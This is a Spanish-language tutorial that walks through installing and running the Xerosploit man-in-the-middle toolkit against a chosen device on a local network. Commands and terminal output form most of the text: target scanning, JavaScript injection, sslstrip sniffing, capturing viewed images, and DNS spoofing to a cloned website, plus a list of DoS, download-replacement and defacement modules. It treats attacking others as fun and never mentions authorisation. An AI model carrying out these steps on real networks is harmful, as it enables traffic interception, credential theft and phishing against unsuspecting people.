Un ataque man-in-the-middle, o ataque MitM , es cuando un atacante ingresa a una red y obliga a todos los dispositivos cercanos a conectarse directamente a su máquina. Esto les permite espiar el tráfico e incluso modificar ciertas cosas. Bettercap es una herramienta que se puede usar para este tipo de ataques MitM, pero Xerosploit puede automatizar funciones de alto nivel que normalmente requerirían más trabajo de configuración en Bettercap.

Xerosploit se basa en algunas otras herramientas, a saber, Bettercap y Nmap , y las automatiza en la medida en que puede lograr estos conceptos de nivel superior en solo un par de comandos.

Sin embargo, Xerosploit puede ser impredecible, así que no se sorprenda si algunas páginas web no pueden falsificarse porque el objetivo está usando HTTPS o canalizando el tráfico a través de una VPN. Teniendo en cuenta que el 73 % de todos los sitios web usan HTTPS, solo tendrá éxito manipulando páginas web en el 27 % restante, y solo si no se usa una VPN.

Todavía se puede acceder a algunos sitios a través de HTTP porque no están redirigiendo las solicitudes no seguras a HTTPS, y algunos ni siquiera tienen versiones seguras todavía. Aquí hay una pequeña muestra, pero hay muchos más en ese 27%:

lo que se necesita
Solo hemos probado Xerosploit en Ubuntu y Kali Linux, pero puede funcionar en macOS. Sin embargo, solo puede seleccionar entre "Ubuntu/Kali Linux/Otros" y "Parrot OS" durante el proceso de instalación.

También necesitará la última versión de Python instalada en su computadora.




Instalar Xerosploit

Primero, instale Xerosploit fuera de GitHub usando git clone .~$ git clone https://github.com/LionSec/xerosploit

Cloning into 'xerosploit' ...
remote: Enumerating objects: 306, done.
remote: Total 306 (delta 0), reused 0 (delta 0), pack-reused 306
Receiving objects: 100% (306/306), 793.28 KiB | 2.38 MiB/s, done.
Resolving deltas: 100% (68/68), done.

Luego, cambie a su directorio ( cd ) e inicie el instalador usando Python. Le pedirá que seleccione su sistema operativo; si usa Kali Linux, elija 1 y presione enter .

~$ cd xerosploit && sudo python install.py

┌══════════════════════════════════════════════════════════════┐
█                                                              █
█                     Xerosploit Installer                     █
█                                                              █
└══════════════════════════════════════════════════════════════┘

[++] Please choose your operating system.

1) Ubuntu / Kali Linux / Others
2) Parrot OS

>>> 1

[++] Insatlling Xerosploit ...
Get:1 http://kali.download/kali kali-rolling inRelease [30.5 kB]
Get:2 http://kali.download/kali kali-rolling/main Sources [14.0 kB]

...

Xerosploit has been successfully installed. Execute 'xerosploit' in your termninal.

Paso 2
Instalar las Dependencias
Para que Xerosploit haga su trabajo correctamente, necesitará todas las herramientas sobre las que creó su servicio, incluidas Nmap, hping3, build-essential, ruby-dev, libpcap-dev y libgmp3-dev. Si está usando Kali, probablemente ya tenga todo esto.

~/xerosploit$ sudo apt install nmap hping3 build-essential ruby-dev libpcap-dev libgmp3-dev

Reading package lists ... Done
Building dependency try ... Done
Reading state information ... Done
build-essential is already the newest version (12.9).
build-essential set to manually installed.
hping3 is already the newest version (3.a2.ds2-10).
hping3 set to manually installed.
nmap is already the newest version (7.91+dfsg1-1kali1).
nmap set to manually installed.
ruby-dev is already the newest version (1:2.7+2).
ruby-dev set to manually installed.
libpcap-dev is already the newest version (1.9.1-r0).
libpcap-dev set to manually installed.
libgmp3-dev is already the newest version (2:6.0.0+dfsg-6).
libgmp3-dev set to manually installed.
Y use Python para instalar tabulate y terminaltables, lo que le permitirá a Xerosploit mostrarle información de una manera fácil de leer. Es probable que ya tenga estas herramientas también.

~/xerosploit$ sudo pip3 tabulate terminaltables

Requirement already satisfied: tabulate in /usr/lib/python3/dist-packages (0.8.7)
Requirement already satisfied: terminaltables in /usr/lib/python3/dist-packages (3.1.0)

Paso 3
Ver los comandos de Xerosploit
Inicie Xerosploit con el comando xerosploit . Inmediatamente, le mostrará información sobre la configuración de su red.

~/xerosploit$ sudo xerosploit

        ▄  ▄███▄   █▄▄▄▄ ████▄    ▄▄▄▄▄   █ ▄▄  █     ████▄ ▄█    ▄▄▄▄▀
    ▀▄   █ █▀   ▀  █  ▄▀ █   █   █     ▀▄ █   █ █     █   █ ██ ▀▀▀ █
      █ ▀  ██▄▄    █▀▀▌  █   █ ▄  ▀▀▀▀▄   █▀▀▀  █     █   █ ██     █
     ▄ █   █▄   ▄▀ █  █  ▀████  ▀▄▄▄▄▀    █     ███▄  ▀████ ▐█    █
    █   ▀▄ ▀███▀     █                     █        ▀        ▐   ▀
     ▀              ▀                       ▀

[+]═══════════[ Author : @LionSec1 _-\|/-_ Website: www.neodrix.com ]═══════════[+]

                      [ Powered by Bettercap and Nmap ]

┌═════════════════════════════════════════════════════════════════════════════┐
█                                                                             █
█                         Your Network Configuration                          █
█                                                                             █
└═════════════════════════════════════════════════════════════════════════════┘

╒════════════════════════════════════════════════════════════════════════════╤═══════════════════╤═════════════╤═════════╤═════════════╕
│                                 IP Address                                 │    MAC Address    │   Gateway   │  Iface  │  Hostname   │
╞════════════════════════════════════════════════════════════════════════════╪═══════════════════╪═════════════╪═════════╪═════════════╡
├────────────────────────────────────────────────────────────────────────────┼───────────────────┼─────────────┼─────────┼─────────────┤
│ 192.168.8.172 fd0b:ed07:cb03:10::3fa fd0b:ed07:cb03:10:dcf1:e71a:2dc3:299f │ 28:D2:44:23:54:2B │ 192.168.8.1 │  eth0   │ Macbook-Pro │
╘════════════════════════════════════════════════════════════════════════════╧═══════════════════╧═════════════╧═════════╧═════════════╛

╔═════════════╦════════════════════════════════════════════════════════════════════╗
║             ║ Xerosploit is a penetration testing toolkit whose goal is to       ║
║ Information ║ perform man in the middle attacks for testing purposes.            ║
║             ║ It brings various modules that allow to realise efficient attacks. ║
║             ║ This tool is Powered by Bettercap and Nmap.                        ║
╚═════════════╩════════════════════════════════════════════════════════════════════╝

[+] Please type 'help' to view commands.

Xero ➮
Escriba ayuda para ver todos los comandos disponibles en Xerosploit.

Xero ➮ help

╔══════════╦════════════════════════════════════════════════════════════════╗
║          ║                                                                ║
║          ║ scan : Map your network.                                       ║
║          ║                                                                ║
║          ║ iface : Manually set your network interface.                   ║
║ COMMANDS ║                                                                ║
║          ║ gateway : Manually set your gateway.                           ║
║          ║                                                                ║
║          ║ start : Skip scan and directly set your target IP address.     ║
║          ║                                                                ║
║          ║ rmlog : Delete all xerosploit logs.                            ║
║          ║                                                                ║
║          ║ help : Display this help message.                              ║
║          ║                                                                ║
║          ║ exit : Close Xerosploit.                                       ║
║          ║                                                                ║
╚══════════╩════════════════════════════════════════════════════════════════╝

[+] Please type 'help' to view commands.

Xero ➮

Ejecute un escaneo para identificar objetivos

Primero, haremos un poco de reconocimiento para identificar un objetivo ejecutando el comando de escaneo , que se ejecuta sobre Nmap.

Xero ➮ scan

[++} Mapping your network ...

[+]═══════════[ Devices found on your network ]═══════════[+]

╔═══════════════╦═══════════════════╦═══════════════════════════════╗
║ IP Address    ║ Mac Address       ║ Manufacturer                  ║
║═══════════════║═══════════════════║═══════════════════════════════║
║ 192.168.8.1   ║ 94:83:C4:00:EB:C5 ║ (Unknown)                     ║
║ 192.168.8.215 ║ B8:70:F4:AD:44:C8 ║ (Compal Information(kunshan)) ║
║ 192.168.8.172 ║ 28:D2:44:12:23:6B ║ (This device)                 ║
╚═══════════════╩═══════════════════╩═══════════════════════════════╝

[+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information.

Xero ➮
Debería ver una lista de direcciones IP devueltas y, si todo salió bien, una de esas direcciones IP sería la que desea orientar. Por lo tanto, escriba la dirección IP del dispositivo al que desea apuntar. Para mí, es el dispositivo "kunshan".

Xero ➮ 192.168.8.215

[++] 192.168.8.215 ha been targeted.

[+] Which module do you want to load ? Enter 'help' for more information.

Xero»modules ➮
Ahora, le preguntará qué módulo desea ejecutar contra el objetivo. Si no conoce el módulo que desea, escriba ayuda para ver una lista completa.

Xero»modules ➮ help

╔═════════╦════════════════════════════════════════════════════════════════════╗
║         ║                                                                    ║
║         ║ pscan      : Port Scanner                                          ║
║         ║                                                                    ║
║         ║ dos        : DoS Attack                                            ║
║         ║                                                                    ║
║         ║ ping       : Ping Request                                          ║
║         ║                                                                    ║
║         ║ injecthtml : Inject Html code                                      ║
║         ║                                                                    ║
║         ║ injectjs   : Inject Javascript code                                ║
║         ║                                                                    ║
║         ║ rdownload  : Replace files being downloaded                        ║
║         ║                                                                    ║
║         ║ sniff      : Capturing information inside network packets          ║
║ MODULES ║                                                                    ║
║         ║ dspoof     : Redirect all the http traffic to the specified one IP ║
║         ║                                                                    ║
║         ║ yplay      : Play background sound in target browser               ║
║         ║                                                                    ║
║         ║ replace    : Replace all web pages images with your own one        ║
║         ║                                                                    ║
║         ║ driftnet   : View all images requested by your targets             ║
║         ║                                                                    ║
║         ║ move       : Shaking Web Browser content                           ║
║         ║                                                                    ║
║         ║ deface     : Overwrite all web pages with your HTML code           ║
║         ║                                                                    ║
╚═════════╩════════════════════════════════════════════════════════════════════╝

[+] Which module do you want to load ? Enter 'help' for more information.

Xero»modules ➮

Paso 5
Agite el navegador web del objetivo
De todos los módulos, el más simple de ejecutar es move , que sacudirá el navegador web en la computadora de destino. Esto ayuda a verificar que tenemos acceso al objetivo, o al menos, que podemos manipular su conexión.


Xero»modules ➮ move

┌══════════════════════════════════════════════════════════════┐
█                                                              █
█                           Shakescreen                        █
█                                                              █
█                   Shaking Web Browser content                █
└══════════════════════════════════════════════════════════════┘

[+] Enter 'run' to execute the 'move' command.

Xero»modules»shakescreen ➮
Para iniciar el efecto Shakescreen, use run , que comenzará a inyectar código JavaScript en el navegador cada vez que el objetivo visite un sitio web. Pero recuerda, solo funcionará en páginas web que usen HTTP y no HTTPS.

Xero»modules»shakescreen ➮ run

[++] Injecting shakescreen.js  ...

[++] Press 'Ctrl + C' to stop.
Entonces, tan pronto como abran una página web HTTP, la página debería comenzar a temblar sin control. Al principio, el objetivo podría pensar que algo andaba mal con su pantalla hasta que notó que la ventana del navegador y todo lo que hay detrás no está vibrando. Entonces podrían pensar que su Internet está teniendo problemas.

Esto seguirá ocurriendo en cada página web HTTP que visiten hasta que detengas el ataque con Control-C en la terminal.

stop
^C
Stopping MITM attack  ...

[+] Enter 'run' to execute the 'move' command.

Xero»modules»shakescreen ➮

Paso 6Reemplazar todas las imágenes en el navegador del objetivo
Ahora, probemos otro módulo. Para volver a la pantalla de selección de módulo, escriba back e ingrese .


Xero»modules»shakescreen ➮ back

[+] Which module do you want to load ? Enter 'help' for more information.

Xero»modules ➮
Xerosploit tiene una herramienta de ataque divertida llamada replace que nos permitirá intercambiar todas las imágenes que se cargan en una página web basada en HTTP con cualquier imagen que queramos.

Xero»modules ➮ replace

┌══════════════════════════════════════════════════════════════┐
█                                                              █
█                          Image Replace                       █
█                                                              █
█        Replace all web pages images with your own one        █
└══════════════════════════════════════════════════════════════┘

[+] Enter 'run' to execute the 'replace' command.

Xero»modules»replace ➮
Para iniciar la herramienta Reemplazar imagen, escriba ejecutar e inmediatamente le pedirá que agregue la ruta de la imagen.

Xero»modules»replace ➮ run

[+] Insert your image path. (e.g. /home/capitansalami/pictures/fun.png)

Xero»modules»replace ➮
Encuentre una imagen en su computadora, luego escriba la ruta o arrastre y suelte la imagen en la ventana de la terminal para completarla automáticamente. Presiona enter para iniciar el ataque.

Xero»modules»replace ➮ /root/Desktop/Bolton/index_files/JBolton_Walrus.jpg

[++] All images will be replaced by /root/Desktop/Bolton/index_files/JBolton_Walrus.jpg

[++] Press 'Ctrl + C' to stop .
Cada vez que se carga una página web basada en HTTP en el navegador de destino, todas sus imágenes se reemplazarán con la imagen que elegimos. No siempre funciona al 100%, por lo que algunas imágenes pueden pasar sin cambios, y puede ser un poco lento dependiendo de la velocidad de la conexión, pero en general, funciona bastante bien.

Esto continuará ocurriendo en cada página HTTP hasta que detenga el ataque.

^C
Stopping MITM attack  ...

[+] Enter 'run' to execute the 'replace' command.

Xero»modules»replace ➮

Paso 7Capture datos a través de la red
Probemos con otro módulo. Para volver a la pantalla de selección de módulo, escriba back e ingrese .


Xero»modules»replace ➮ back

[+] Which module do you want to load ? Enter 'help' for more information.

Xero»modules ➮
Con el módulo sniff , podemos capturar algunos datos generales a través de la red.

Xero»modules ➮ sniff

┌══════════════════════════════════════════════════════════════┐
█                                                              █
█                           Sniffing                           █
█                                                              █
█      Capturing any data passed over your local network       █
└══════════════════════════════════════════════════════════════┘

[+] Please type 'run' to execute the 'sniff' command.

Xero»modules»sniff ➮
Una vez que se selecciona la herramienta de rastreo, escriba ejecutar para comenzar a rastrear. A continuación, le preguntará si desea cargar sslstrip , que intentará degradar el tráfico para que podamos recoger información interesante que, de lo contrario, podríamos perder.

Xero»modules»sniff ➮ run

[+] Do you want to load sslstrip ? (y/n).

Xero»modules»sniff ➮ y

[++] All logs are saved on : /opt/xerosploit/xerosniff

[++] Sniffing on 192.168.8.215

[++] sslstrip : ON

[++] Press 'Ctrl + C' to stop .
Debería abrirse una nueva ventana para mostrar todos los paquetes interceptados y guardados en su computadora. En la ventana, puede ver fácilmente qué sitios web está visitando el objetivo y qué datos se solicitan y envían.

Cuando haya terminado de rastrear paquetes, puede detener el ataque con Control-C en su teclado. Luego, se le preguntará si desea guardar los registros o no. Use Y para sí, N para no.

^C
Stopping MITM attack  ...

[+] Do you want to save logs ? (y/n).

Xero»modules»sniff ➮ n

[++] Logs have been removed.

[+] Please type 'run' to execute the 'sniff' command.

Xero»modules»sniff ➮

Paso 8Ver todas las imágenes cargadas en el navegador del objetivo
Probemos con otro módulo. Para volver a la pantalla de selección de módulo, escriba back e ingrese .

Xero»modules»sniff ➮ back

[+] Which module do you want to load ? Enter 'help' for more information.

Xero»modules ➮
Ingrese driftnet , que es una herramienta que le permite ver cada imagen solicitada por el navegador del objetivo, luego ejecútela . Luego comenzará a registrar todas las imágenes vistas en las páginas web HTTP desde el navegador de destino y las guardará en la carpeta /opt/xerosploit/xedriftnet.

Xero»modules ➮ driftnet

┌══════════════════════════════════════════════════════════════┐
█                                                              █
█                            Driftnet                          █
█                                                              █
█          View all images requested by your target            █
└══════════════════════════════════════════════════════════════┘

[+] Enter 'run' to execute the 'driftnet' command.

Xero»modules»driftnet ➮ run

[++] Capturing requested images on 192.168.8.215  ...

[++] All captured images will be temporarily saved in /opt/xerosploit/xedriftnet

[++] Press 'Ctrl + C' to stop.
Cuando esté listo para ver el cofre del tesoro de golosinas, abra una ventana de terminal separada, luego cambie a la carpeta "xedriftnet". Puede enumerar ( ls ) su contenido para ver qué se capturó.

~$ cd /opt/xerosploit/xedriftnet

~/opt/xerosploit/xedriftnet$ ls

Paso 9Ejecute el módulo de falsificación de DNS en un objetivo
Si desea redirigir el tráfico a una dirección IP específica, el módulo dspoof puede ayudar. Pero primero, querrá crear un sitio web falso para redirigir a otros en la red. Por lo tanto, visite un sitio web que desee copiar, guarde su archivo HTML y cámbiele el nombre a "index.html".
Luego, abra una ventana de terminal separada y navegue a la misma carpeta que el archivo index.html. Ejecute el siguiente comando para crear una versión local de la página web, cambiando la parte YOUR_IP a la dirección IP de su máquina.

~$ sudo python3 -m http.server --bind YOUR_IP 80

Luego, regrese a la ventana de terminal con Xerosploit y ejecute el comando dspoof . Pero primero, vuelve a la pantalla de selección de módulos. Luego, abra y ejecute la herramienta de suplantación de DNS.

Cuando se le solicite, proporcione su dirección IP como la dirección a la que redirigir el tráfico. ¡Todas las páginas web que carguen serán la página que clonaste!

Xero»modules»sniff ➮ back

[+] Which module do you want to load ? Enter 'help' for more information.

Xero»modules ➮ dspoof

┌══════════════════════════════════════════════════════════════┐
█                                                              █
█                         DNS spoofing                         █
█                                                              █
█   Supply false DNS information to all target browsed hosts   █
█     Redirect all the http traffic to the specified one IP    █
└══════════════════════════════════════════════════════════════┘

[+] Please type 'run' to execute the 'dspoof' command.

Xero»modules»dspoof ➮ run

[+] Enter the IP address where you want to redirect the traffic.

[++] Redirecting all the traffic to your IP address.

[++] Press 'Ctrl + C' to stop .

Paso 10Pruebe sus otros módulos
Los otros módulos que puede probar incluyen los siguientes, algunos de los cuales son bastante divertidos de probar.yplay : reproduce un video de YouTube en el fondo de los navegadores.

  • injectjs : inyecta JavaScript en sitios web cargados por otros en la red.
  • injecthtml : Inyecte HTML en su lugar en sitios web cargados en la red.
  • dos : denegar el acceso a Internet a esa dirección IP.
  • pscan : ejecuta un escaneo de puertos.
  • ping : Hacer ping a un dispositivo.
  • rdownload : reemplaza los archivos que se descargan con los tuyos.
  • deface : Intercambia cada página web con tu propio HTML.
Xerosploit es un vívido ejemplo de por qué debe tener cuidado al conectarse a una red desconocida. Si bien una VPN puede protegerlo en la mayoría de los casos, todavía hay formas en que un atacante puede manipular su tráfico. Así que asegúrese de tomar tantas precauciones como sea posible, como utilizar una VPN, cada vez que no esté seguro de la seguridad de la red a la que está a punto de conectarse.